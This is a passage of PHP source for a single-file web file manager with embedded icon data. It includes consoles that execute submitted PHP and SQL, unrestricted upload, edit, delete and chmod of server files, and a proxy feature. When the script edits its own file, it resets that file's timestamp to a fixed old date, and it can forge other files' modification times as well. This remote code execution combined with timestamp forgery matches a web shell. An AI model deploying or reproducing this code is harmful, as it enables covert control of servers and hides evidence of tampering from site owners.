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"); } .file { background-image: url("data:image/png;base64,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"); } <?php echo fm_home_style(); ?> .img { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII="); } @media screen and (max-width:720px){ table{display:block;} #fm_table td{display:inline;float:left;} #fm_table tbody td:first-child{width:100%;padding:0;} #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;} #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;} #fm_table tr{display:block;float:left;clear:left;width:100%;} #header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;} #header_table table td {display:inline;float:left;} } </style> </head> <body> <?php $url_inc = '?fm=true'; if (isset($_POST['sqlrun']) && !empty($fm_config['enable_sql_console'])) { $res = empty($_POST['sql']) ? '' : $_POST['sql']; $res_lng = 'sql'; } elseif (isset($_POST['phprun']) && !empty($fm_config['enable_php_console'])) { $res = empty($_POST['php']) ? '' : $_POST['php']; $res_lng = 'php'; } if (isset($_GET['fm_settings'])) { echo ' <table class="whole"> <form method="post" action=""> <tr><th colspan="2">' . __('File manager') . ' - ' . __('Settings') . '</th></tr> ' . (empty($msg) ? '' : '<tr><td class="row2" colspan="2">' . $msg . '</td></tr>') . ' ' . fm_config_checkbox_row(__('Show size of the folder'), 'show_dir_size') . ' ' . fm_config_checkbox_row(__('Show') . ' ' . __('pictures'), 'show_img') . ' ' . fm_config_checkbox_row(__('Show') . ' ' . __('Make directory'), 'make_directory') . ' ' . fm_config_checkbox_row(__('Show') . ' ' . __('New file'), 'new_file') . ' ' . fm_config_checkbox_row(__('Show') . ' ' . __('Upload'), 'upload_file') . ' ' . fm_config_checkbox_row(__('Show') . ' PHP version', 'show_php_ver') . ' ' . fm_config_checkbox_row(__('Show') . ' PHP ini', 'show_php_ini') . ' ' . fm_config_checkbox_row(__('Show') . ' ' . __('Generation time'), 'show_gt') . ' ' . fm_config_checkbox_row(__('Show') . ' xls', 'show_xls') . ' ' . fm_config_checkbox_row(__('Show') . ' PHP ' . __('Console'), 'enable_php_console') . ' ' . fm_config_checkbox_row(__('Show') . ' SQL ' . __('Console'), 'enable_sql_console') . ' <tr><td class="row1"><input name="fm_config[sql_server]" value="' . $fm_config['sql_server'] . '" type="text"></td><td class="row2 whole">SQL server</td></tr> <tr><td class="row1"><input name="fm_config[sql_username]" value="' . $fm_config['sql_username'] . '" type="text"></td><td class="row2 whole">SQL user</td></tr> <tr><td class="row1"><input name="fm_config[sql_password]" value="' . $fm_config['sql_password'] . '" type="text"></td><td class="row2 whole">SQL password</td></tr> <tr><td class="row1"><input name="fm_config[sql_db]" value="' . $fm_config['sql_db'] . '" type="text"></td><td class="row2 whole">SQL DB</td></tr> ' . fm_config_checkbox_row(__('Show') . ' Proxy', 'enable_proxy') . ' ' . fm_config_checkbox_row(__('Show') . ' phpinfo()', 'show_phpinfo') . ' ' . fm_config_checkbox_row(__('Show') . ' ' . __('Settings'), 'fm_settings') . ' ' . fm_config_checkbox_row(__('Restore file time after editing'), 'restore_time') . ' ' . fm_config_checkbox_row(__('File manager') . ': ' . __('Restore file time after editing'), 'fm_restore_time') . ' <tr><td class="row3"><a href="' . fm_url() . '?fm_settings=true&fm_config_delete=true">' . __('Reset settings') . '</a></td><td class="row3"><input type="submit" value="' . __('Save') . '" name="fm_config[fm_set_submit]"></td></tr> </form> </table> <table> <form method="post" action=""> <tr><th colspan="2">' . __('Settings') . ' - ' . __('Authorization') . '</th></tr> <tr><td class="row1"><input name="fm_login[authorize]" value="1" ' . ($auth['authorize'] ? 'checked' : '') . ' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">' . __('Authorization') . '</label></td></tr> <tr><td class="row1"><input name="fm_login[login]" value="' . $auth['login'] . '" type="text"></td><td class="row2 whole">' . __('Login') . '</td></tr> <tr><td class="row1"><input name="fm_login[password]" value="' . $auth['password'] . '" type="text"></td><td class="row2 whole">' . __('Password') . '</td></tr> <tr><td class="row1"><input name="fm_login[cookie_name]" value="' . $auth['cookie_name'] . '" type="text"></td><td class="row2 whole">' . __('Cookie') . '</td></tr> <tr><td class="row1"><input name="fm_login[days_authorization]" value="' . $auth['days_authorization'] . '" type="text"></td><td class="row2 whole">' . __('Days') . '</td></tr> <tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">' . $auth['script'] . '</textarea></td><td class="row2 whole">' . __('Script') . '</td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="' . __('Save') . '" ></td></tr> </form> </table>'; echo fm_tpl_form('php'), fm_tpl_form('sql'); } elseif (isset($proxy_form)) { die($proxy_form); } elseif (isset($res_lng)) { ?> <table class="whole"> <tr> <th><?php echo __('File manager') . ' - ' . $path; ?></th> </tr> <tr> <td class="row2"><table><tr><td><h2><?php echo strtoupper($res_lng); ?> <?php echo __('Console'); if ($res_lng == 'sql') { echo ' - Database: ' . $fm_config['sql_db'] . '</h2></td><td>' . fm_run_input('php'); } else { echo '</h2></td><td>' . fm_run_input('sql'); } ?></td></tr></table></td> </tr> <tr> <td class="row1"> <a href="<?php echo $url_inc . '&path=' . $path; ?>"><?php echo __('Back'); ?></a> <form action="" method="POST" name="console"> <textarea name="<?php echo $res_lng; ?>" cols="80" rows="10" style="width: 90%"><?php echo $res; ?></textarea><br/> <input type="reset" value="<?php echo __('Reset'); ?>"> <input type="submit" value="<?php echo __('Submit'); ?>" name="<?php echo $res_lng; ?>run"> <?php $str_tmpl = $res_lng . '_templates'; $tmpl = !empty(${$str_tmpl}) ? json_decode(${$str_tmpl}, true) : ''; if (!empty($tmpl)) { $active = isset($_POST[$res_lng . '_tpl']) ? $_POST[$res_lng . '_tpl'] : ''; $select = '<select name="' . $res_lng . '_tpl" title="' . __('Template') . '" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\'' . $res_lng . '\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\'' . $res_lng . '\'].value =\'\';" >' . "\n"; $select .= '<option value="-1">' . __('Select') . "</option>\n"; foreach ($tmpl as $key => $value) { $select .= '<option value="' . $value . '" ' . (!empty($value) && $value == $active ? 'selected' : '') . ' >' . __($key) . "</option>\n"; } $select .= "</select>\n"; echo $select; } ?> </form> </td> </tr> </table> <?php if (!empty($res)) { $fun = 'fm_' . $res_lng; echo '<h3>' . strtoupper($res_lng) . ' ' . __('Result') . '</h3><pre>' . $fun($res) . '</pre>'; } } elseif (!empty($_REQUEST['edit'])) { if (!empty($_REQUEST['save'])) { $fn = $path . $_REQUEST['edit']; $filemtime = filemtime($fn); if (file_put_contents($fn, $_REQUEST['newcontent'])) { $msg .= __('File updated'); } else { $msg .= __('Error occurred'); } if ($_GET['edit'] == basename(__FILE__)) { touch(__FILE__, 1415116371); } else { if (!empty($fm_config['restore_time'])) { touch($fn, $filemtime); } } } $oldcontent = @file_get_contents($path . $_REQUEST['edit']); $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table border='0' cellspacing='0' cellpadding='1' width="100%"> <tr> <th><?php echo __('File manager') . ' - ' . __('Edit') . ' - ' . $path . $_REQUEST['edit']; ?></th> </tr> <tr> <td class="row1"> <?php echo $msg; ?> </td> </tr> <tr> <td class="row1"> <?php echo fm_home(); ?> <a href="<?php echo $backlink; ?>"><?php echo __('Back'); ?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?php echo $editlink; ?>"> <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?php echo htmlspecialchars($oldcontent); ?></textarea> <input type="submit" name="save" value="<?php echo __('Submit'); ?>"> <input type="submit" name="cancel" value="<?php echo __('Cancel'); ?>"> </form> </td> </tr> </table> <?php echo $auth['script']; } elseif (!empty($_REQUEST['rights'])) { if (!empty($_REQUEST['save'])) { if (fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively'])) { $msg .= __('File updated'); } else { $msg .= __('Error occurred'); } } clearstatcache(); $oldrights = fm_rights_string($path . $_REQUEST['rights'], true); $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?php echo __('File manager') . ' - ' . $path; ?></th> </tr> <tr> <td class="row1"> <?php echo $msg; ?> </td> </tr> <tr> <td class="row1"> <a href="<?php echo $backlink; ?>"><?php echo __('Back'); ?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?php echo $link; ?>"> <?php echo __('Rights') . ' - ' . $_REQUEST['rights']; ?> <input type="text" name="rights_val" value="<?php echo $oldrights; ?>"> <?php if (is_dir($path . $_REQUEST['rights'])) { ?> <input type="checkbox" name="recursively" value="1"> <?php echo __('Recursively'); ?><br/> <?php } ?> <input type="submit" name="save" value="<?php echo __('Submit'); ?>"> </form> </td> </tr> </table> <?php } elseif (!empty($_REQUEST['rename']) && $_REQUEST['rename'] != '.') { if (!empty($_REQUEST['save'])) { rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']); $msg .= __('File updated'); $_REQUEST['rename'] = $_REQUEST['newname']; } clearstatcache(); $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?php echo __('File manager') . ' - ' . $path; ?></th> </tr> <tr> <td class="row1"> <?php echo $msg; ?> </td> </tr> <tr> <td class="row1"> <a href="<?php echo $backlink; ?>"><?php echo __('Back'); ?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?php echo $link; ?>"> <?php echo __('Rename'); ?>: <input type="text" name="newname" value="<?php echo $_REQUEST['rename']; ?>"><br/> <input type="submit" name="save" value="<?php echo __('Submit'); ?>"> </form> </td> </tr> </table> <?php } else { //Let's rock! $msg = ''; if (!empty($_FILES['upload']) && !empty($fm_config['upload_file'])) { if (!empty($_FILES['upload']['name'])) { $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']); if (!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])) { $msg .= __('Error occurred'); } else { $msg .= __('Files uploaded') . ': ' . $_FILES['upload']['name']; } } } elseif (!empty($_REQUEST['delete']) && $_REQUEST['delete'] != '.') { if (!fm_del_files($path . $_REQUEST['delete'], true)) { $msg .= __('Error occurred'); } else { $msg .= __('Deleted') . ' ' . $_REQUEST['delete']; } } elseif (!empty($_REQUEST['mkdir']) && !empty($fm_config['make_directory'])) { if (!@mkdir($path . $_REQUEST['dirname'], 0777)) { $msg .= __('Error occurred'); } else { $msg .= __('Created') . ' ' . $_REQUEST['dirname']; } } elseif (!empty($_POST['search_recursive'])) { ini_set('max_execution_time', '0'); $search_data = find_text_in_files($_POST['path'], $_POST['mask'], $_POST['search_recursive']); if (!empty($search_data)) { $msg .= __('Found in files') . ' (' . count($search_data) . '):<br>'; foreach ($search_data as $filename) { $msg .= '<a href="' . fm_url(true) . '?fm=true&edit=' . basename($filename) . '&path=' . str_replace('/' . basename($filename), '/', $filename) . '" title="' . __('Edit') . '">' . basename($filename) . '</a> '; } } else { $msg .= __('Nothing founded'); } } elseif (!empty($_REQUEST['mkfile']) && !empty($fm_config['new_file'])) { if (!($fp = @fopen($path . $_REQUEST['filename'], "w"))) { $msg .= __('Error occurred'); } else { fclose($fp); $msg .= __('Created') . ' ' . $_REQUEST['filename']; } } elseif (isset($_GET['zip'])) { $source = base64_decode($_GET['zip']); $destination = basename($source) . '.zip'; set_time_limit(0); $phar = new PharData($destination); $phar->buildFromDirectory($source); if (is_file($destination)) { $msg .= __('Task') . ' "' . __('Archiving') . ' ' . $destination . '" ' . __('done') . '. ' . fm_link('download', $path . $destination, __('Download'), __('Download') . ' ' . $destination) . ' <a href="' . $url_inc . '&delete=' . $destination . '&path=' . $path . '" title="' . __('Delete') . ' ' . $destination . '" >' . __('Delete') . '</a>'; } else { $msg .= __('Error occurred') . ': ' . __('no files'); } } elseif (isset($_GET['gz'])) { $source = base64_decode($_GET['gz']); $archive = $source . '.tar'; $destination = basename($source) . '.tar'; if (is_file($archive)) { unlink($archive); } if (is_file($archive . '.gz')) { unlink($archive . '.gz'); } clearstatcache(); set_time_limit(0); //die(); $phar = new PharData($destination); $phar->buildFromDirectory($source); $phar->compress(Phar::GZ, '.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive . '.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task') . ' "' . __('Archiving') . ' ' . $destination . '" ' . __('done') . '. ' . fm_link('download', $path . $destination, __('Download'), __('Download') . ' ' . $destination) . ' <a href="' . $url_inc . '&delete=' . $destination . '&path=' . $path . '" title="' . __('Delete') . ' ' . $destination . '" >' . __('Delete') . '</a>'; } else { $msg .= __('Error occurred') . ': ' . __('no files'); } } elseif (isset($_GET['decompress'])) { // $source = base64_decode($_GET['decompress']); // $destination = basename($source); // $ext = end(explode(".", $destination)); // if ($ext=='zip' OR $ext=='gz') { // $phar = new PharData($source); // $phar->decompress(); // $base_file = str_replace('.'.$ext,'',$destination); // $ext = end(explode(".", $base_file)); // if ($ext=='tar'){ // $phar = new PharData($base_file); // $phar->extractTo(dir($source)); // } // } // $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done'); } elseif (isset($_GET['gzfile'])) { $source = base64_decode($_GET['gzfile']); $archive = $source . '.tar'; $destination = basename($source) . '.tar'; if (is_file($archive)) { unlink($archive); } if (is_file($archive . '.gz')) { unlink($archive . '.gz'); } set_time_limit(0); //echo $destination; $ext_arr = explode('.', basename($source)); if (isset($ext_arr[1])) { unset($ext_arr[0]); $ext = implode('.', $ext_arr); } $phar = new PharData($destination); $phar->addFile($source); $phar->compress(Phar::GZ, $ext . '.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive . '.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task') . ' "' . __('Archiving') . ' ' . $destination . '" ' . __('done') . '. ' . fm_link('download', $path . $destination, __('Download'), __('Download') . ' ' . $destination) . ' <a href="' . $url_inc . '&delete=' . $destination . '&path=' . $path . '" title="' . __('Delete') . ' ' . $destination . '" >' . __('Delete') . '</a>'; } else { $msg .= __('Error occurred') . ': ' . __('no files'); } } ?> <table class="whole" id="header_table" > <tr> <th colspan="2"><?php echo __('File manager'); echo !empty($path) ? ' - ' . $path : ''; ?></th> </tr> <?php if (!empty($msg)) { ?> <tr> <td 